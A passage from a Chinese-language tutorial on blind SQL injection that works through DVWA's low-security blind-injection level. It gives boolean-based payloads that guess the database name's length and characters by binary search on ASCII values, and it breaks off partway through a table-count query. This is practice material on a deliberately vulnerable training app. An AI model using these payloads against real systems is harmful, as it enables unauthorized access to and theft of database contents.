目录
sql盲注和sql注入的区别
盲注:目标只会回复是或不是,没有详细内容
注入:可以查看到详细内容
盲注分为:布尔盲注、时间盲注
sql盲注过程
1、判断是否存在注入,注入是字符型还是数字型
2、猜解当前数据库名(猜解数据库长度->猜数据库名称)
3、猜解数据库中的表名(猜表的数量->猜表的长度->猜表的名称)
4、猜解表中的列(猜列的数量->猜列的长度->猜列的名称)
5、猜解数据
dvwa-SQL Injection (Blind) low级别
下面分别用布尔盲注、时间盲注进行注入
布尔盲注
猜数据库长度:
输入1’ and length(database())=1# 显示 MISSING 说明数据库长度不为1
输入1’ and length(database())=4# 显示 exists 说明数据库长度为4
猜数据库名:
输入1’ and ascii(substr(database(),1,1))>97# 显示 exists 说明数据库的第一个字母的ASCII值>97
ascii()函数是将字母转换为ASCII值
附加:放一张substr()函数的解释
可以用二分法去猜ASCII值
输入1’ and ascii(substr(database(),1,1))>100#显示MISSING说明第一个字母的ASCII不大于100
输入1’ and ascii(substr(database(),1,1))<100#也显示MISSING说明第一个字母的ASCII也不小于100,那就是等于100
输入1’ and ascii(substr(database(),1,1))=100#,显示exists,说明第一个字母就是 d
盲注全靠猜,后三个字母可以自己尝试去猜,步骤如上
最后猜到数据库名为dvwa
猜表的数量:
输入1’and (select count(table_name)from information_schema.tables where table_schema&